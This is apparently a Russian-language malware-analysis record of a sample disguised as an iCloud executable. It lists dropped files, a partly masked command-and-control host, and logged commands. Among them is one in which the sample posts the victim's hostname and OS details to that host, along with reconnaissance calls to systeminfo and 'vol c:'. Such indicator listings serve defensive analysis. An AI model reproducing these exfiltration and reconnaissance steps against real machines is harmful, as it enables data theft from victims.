Техническая информация
- '<SYSTEM32>\taskkill.exe' /f /im Icloud.exe
- <SYSTEM32>\ntvdm.exe
- %TEMP%\7ZipSfx.000\icloud.cmd
- %TEMP%\7ZipSfx.000\Icloud.exe
- %TEMP%\7ZipSfx.000\sys.ini
- %TEMP%\7ZipSfx.000\iclouds.exe
- %WINDIR%\Temp\scs1.tmp
- %WINDIR%\Temp\scs2.tmp
- %WINDIR%\Temp\scs1.tmp
- %WINDIR%\Temp\scs2.tmp
- 'ar####rt.myftp.org':80
- http://ar####rt.myftp.org/
- DNS ASK ar####rt.myftp.org
- ClassName: '' WindowName: ''
- ClassName: 'ConsoleWindowClass' WindowName: 'ntvdm-cbc.cc0.380001'
- '%TEMP%\7ZipSfx.000\Icloud.exe' --post-data="comp=CRNJEUFU&id=25.05_CRNJEUFU_is&sysinfo=Host Name: CRNJEUFU+###OS Name: Microsoft Windows XP Professional+###OS Version: 5.1.260...
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\7ZipSfx.000\icloud.cmd" "
- '<SYSTEM32>\cmd.exe' /c vol c:
- '<SYSTEM32>\systeminfo.exe'
- '<SYSTEM32>\ntvdm.exe' -f